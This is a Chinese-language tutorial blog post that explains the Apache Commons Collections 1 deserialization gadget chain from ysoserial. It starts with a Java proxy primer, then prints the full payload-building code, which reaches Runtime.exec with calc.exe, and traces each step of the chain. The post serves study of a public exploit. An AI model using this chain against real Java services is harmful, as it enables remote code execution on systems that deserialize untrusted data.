Commons Collections 1反序列化利用链详解

2024-12-19 10 0

前置知识

Apache Commons Collections

  • Apache Commons Collections 库库提供了一系列扩展的集合类，它可以帮助开发者更方便地处理各种数据集合相关的操作，并且提供了很多在 Java 标准集合框架（java.util包中的集合类）基础上的增强功能，比如开发时经常用到的CollectionUtils可以帮助我们进行集合的判空(isEmpty)

Proxy（代理）

什么是 Proxy（代理）

  • 在 Java 中，Proxy就像是一个中间人。想象一下，你想要和一个明星（真实的对象）联系，但是不能直接联系，这时候你可以通过经纪人（代理对象）来和明星沟通。在 Java 里，这个经纪人就是Proxy。

  • Proxy代理主要用于在不修改原始类（被代理的类）代码的情况下，控制对这个类的访问或者增强这个类的功能。

Proxy 的工作机制

  • 创建代理对象

    • 首先，需要定义一个接口。这个接口就像是明星和经纪人之间的一个 “沟通协议”，规定了有哪些方法可以被调用。例如，明星有一个 “签名” 的方法，那么在接口里就会有一个对应的sign()方法。

    • 然后，使用Proxy类的newProxyInstance()方法来创建代理对象。这个方法需要三个参数：类加载器（可以简单理解为用来加载类的工具）、一个接口数组（就是刚刚说的那个 “沟通协议”）和一个InvocationHandler（这是真正干活的，后面会详细说）。

  • InvocationHandler的作用

    • InvocationHandler就像是经纪人的大脑，它决定了代理对象收到方法调用时该怎么做。当你通过代理对象调用一个方法时，实际上是InvocationHandler的invoke()方法在处理这个调用。

    • 例如，当你让代理对象（经纪人）调用明星的 “签名” 方法时，invoke()方法可以在真正调用明星的 “签名” 方法之前，做一些额外的事情，比如检查你是否有资格让明星签名，或者在签名之后记录一下这次签名的情况。

    一个简单的例子

    interface Fans {
    void sign();
    boolean isVIP();
}

class indivialFans implements Fans {
    private boolean isVIP;
    @Override
    public void sign() {
        System.out.println("获得一个Star的【签名】");
    }

    @Override
    public boolean isVIP() {
        return isVIP;
    }

    public indivialFans(boolean isVIP) {
        this.isVIP = isVIP;
    }
}

class FansInvocationHandler implements InvocationHandler {
    private final Fans fans;

    public FansInvocationHandler(Fans fans) {
        this.fans = fans;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("检测是否拥有签名资格");
        if (!fans.isVIP()) {
            System.out.println("没有资格，不能签名");
            return null;
        }
        Object result = method.invoke(fans, args);
        System.out.println("签名成功");
        return result;
    }
}

public class DemoApplication {
    public static void main(String[] args) {
        Fans fansA = new indivialFans(true);
        Fans fansB = new indivialFans(false);
        FansInvocationHandler handlerA = new FansInvocationHandler(fansA);
        FansInvocationHandler handlerB = new FansInvocationHandler(fansB);
        Fans aProxy = (Fans) Proxy.newProxyInstance(
                fansA.getClass().getClassLoader(),
                fansA.getClass().getInterfaces(),
                handlerA);
        Fans bProxy = (Fans) Proxy.newProxyInstance(
                fansB.getClass().getClassLoader(),
                fansB.getClass().getInterfaces(),
                handlerB);
        aProxy.sign();
        System.out.println("=====================================");
        bProxy.sign();
    }
}

/* 执行结果
检测是否拥有签名资格
获得一个Star的【签名】
签名成功
=====================================
检测是否拥有签名资格
没有资格，不能签名
*/

Commons Collections 1 反序列化链

环境项目：ysoserial CommonsCollections1

Gadget构造

// 在ysoserial CC1项目环境下
public class   extends PayloadRunner implements ObjectPayload<InvocationHandler> {
    public static void main(String[] args) throws Exception {
        String command = "calc.exe";
        final String[] execArgs = new String[] { command };
        
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });

        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            // 获取Runtime.getRuntime()方法 (tips:这里获取的是Mehtod类型)
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            // 反射执行Runtime.getRuntime()方法，得到Runtime实例对象
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            // 执行 exec方法，完成rce
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        //从get方法中触发transformerChain.transform
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        // 创建Map 代理，以便触发AnnotationInvocationHandler的invoke，再触发lazymap.get方法
        // tips: 该AnnotationInvocationHandler与下面的是两个实例对象，且作用不同，下文会讲到
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        // 创建AnnotationInvocationHandler代理handler
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        ois.readObject();
    }

Gadget链分析

前半段

​ 既然最终序列化的是AnnotationInvocationHandler，便从其readObject方法开始回溯

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    ...
    ...
    Iterator var4 = this.memberValues.entrySet().iterator();
    ...
    ...
}

​ 关注this.memberValues.entrySet()方法，这里需要注意，在整个反序列化过程中，会分先后顺序两次进入AnnotationInvocationHandler的readObject：

Commons Collections 1反序列化利用链详解插图

根据栈的运行机制"后进入的先调用"，故先看后进入的readObject方法

​ 在Iterator var4 = this.memberValues.entrySet().iterator();的前一行打下断点。

​ 如果一行一行代码去分析，会很麻烦，而且IDEA对于某些方法的debug会出错，导致自己一不小心就绕进去。故回到ysoserial项目中去简单分析一下为什么要这样构造pop链。

​ 跟进Gadgets.createMemoizedInvocationHandler，

public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        // public static final String ANN_INV_HANDLER_CLASS
    	// = "sun.reflect.annotation.AnnotationInvocationHandler"
    }

​ 发现是通过反射调用有参构造方法创建一个AnnotationInvocationHandler对象，并且传进去了2个参数，一个Override.class，一个被代理的Map(实际为LazyMap类型)，跟进看一下它的构造方法

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

​ 到这我们可知关注的对象有两个，分别为type成员变量与memberValue成员变量，回到刚才的readObject方法(栈顶的readObject)，

Commons Collections 1反序列化利用链详解插图1

​ 可以看到其type为Override的class对象，memberValues为LazyMap，且在readObject方法中关于这两个变量的操作，只有一个构造行为和调用entrySet，并且追溯后发现最终调用的是被LazyMap修饰的HashMap.enTrySet()，和该项目构建的gadget没有联系。

​ 故直接跟进至后调用的AnnotationInvocationHandler的readObject方法中，观察其成员属性

​ 此时memberValue为Proxy代理对象，而根据前置知识中提到的代理机制，对代理对象的任何方法前都会走到其handler中的invoke方法

​ 跟进AnnotationInvocationHandler.invoke方法，其var4为entrySet，也就是刚才readObject中调用的entrySet方法名，需要注意的是，现在的所处的AnnotationInvocationHandler已经不是刚才的handler了，而是Proxy map中的handler

// CommonsCollections1.java
// 作用是触发LazyMap.get，从而执行transformerChain
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

// AnnotationInvocationHandler，作用是在readObject中调用mapProxy.entrySet()以触发invoke，其自身的invoke不重要
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

// Gadgets.java
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
    // 这里用到了一个新的AnnotationInvocationHandler
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

​ 此时memberValues为LazyMap，会根据switch分支调用自身的get方法

​ 跟进LazyMap.get方法

Commons Collections 1反序列化利用链详解插图4

​ 这里的逻辑就比较简单明了，如果被修饰的HashMap里不存在方法名entrySet，就调用factory成员变量的transform方法，到此，CC1的前半段便结束了。

​ 梳理一下CC1的前半段都干了什么：

  1. 将一个单独的AnnotationInvocationHandler作为入口，在反序列化时调用其构造时传入的mapProxy的entrySet方法

  2. mapProxy触发拦截机制，进入invoke方法，根据"entrySet"方法名，switch将走到默认分支，执行LazyMap.get()

  3. LazyMap.get触发transformers的一连串执行

    前半段的调用链如下：

    // 独立的handler
AnnotationInvocationHandler.readObject()->
	mapProxy.entrySet()->
		// mapProxy.handler
		AnnotationInvocationHandler.invoke()->
			Lazymap.get()->
				transformerChain.transform()->
...

后半段

​ 后半部分的调用链没有特别的机制，但是逻辑会比较绕，涉及到多个反射套反射的操作

final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
    new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) };

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

​ 这一部分从transformerChain.transform()开始，那么先看下ChainedTransformer的相关方法，主要涉及构造方法转换方法(transform)

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这里要看明白转换的逻辑，相当于是一个链式的转换，前一个transform的结果作为后一个transform的输入

​ 涉及到的2种transform方法如下：

// InvokerTransformer.class    
public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                InvocationTargetException ex = var7;
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    }

// ConstantTransformer.class
public Object transform(Object input) {
    return this.iConstant;
}

​ ysoserial一共组装了5条转换器到达最终的RCE，从第一条开始分析

这里最好亲自debug头脑风暴一遍，赘述再多也不如亲自走一遍

​ 【0】ConstantTransformer.transform：直接返回Runtime.class这个class对象，很明确

​ 【1】InvokerTransformer.transform:

​ (1)拿到Class.class，通过反射获取Class.getMethod方法(Method类型)；

​ (2)在【0】转换器返回的Runtime.class对象上反射调用(1)拿到的getMethod方法，最终获取Runtime.getRuntime方法 (Method类型)

【1】等效于return Runtime.class.getMethod("getRuntime")

Commons Collections 1反序列化利用链详解插图5

​ 【2】InvokerTransformer.transform：

​ (1)拿到Method.class，通过反射获取Method.invoke方法(Method类型)

​ (2)在【1】Runtime.getRuntime这个Method对象上反射调用**(1)中拿到的invoke方法，最终获取Runtime实例对象**(反射调用Runtime.getRuntime()方法的返回结果)

【2】等效于return Runtime.getRuntime()

​ 【3】InvokerTransformer.transform：

​ (1)拿到Runtime.class，通过反射获取Runtime.exec方法(Method类型)

​ (2)在【2】Runtime实例对象上反射调用exec("calc")方法，到此完成RCE

【3】等效于return Runtime.getRuntime.exec("calc")

【4】ConstantTransformer的作用应该是实现逻辑闭环，不参与RCE过程

CC1后半部分的调用链如下：

ChainedTransformer.transform()->
    ConstantTransformer.transform()->
    	InvokerTransformer.transform()->Runtime.class.getMethod("getRuntime")
    		 InvokerTransformer.transform()-> Runtime.getRuntime()
    			 InvokerTransformer.transform()-> Runtime.getRuntime.exec("calc")

完整的Gadget链

// 独立的handler
AnnotationInvocationHandler.readObject()->
	mapProxy.entrySet()->
		// mapProxy.handler
		AnnotationInvocationHandler.invoke()->
			Lazymap.get()->
				transformerChain.transform()->
					ChainedTransformer.transform()->
    					ConstantTransformer.transform()->
    						InvokerTransformer.transform()->Runtime.class.getMethod("getRuntime")
    		 					InvokerTransformer.transform()-> Runtime.getRuntime()
    								 InvokerTransformer.transform()-> Runtime.getRuntime.exec("calc")

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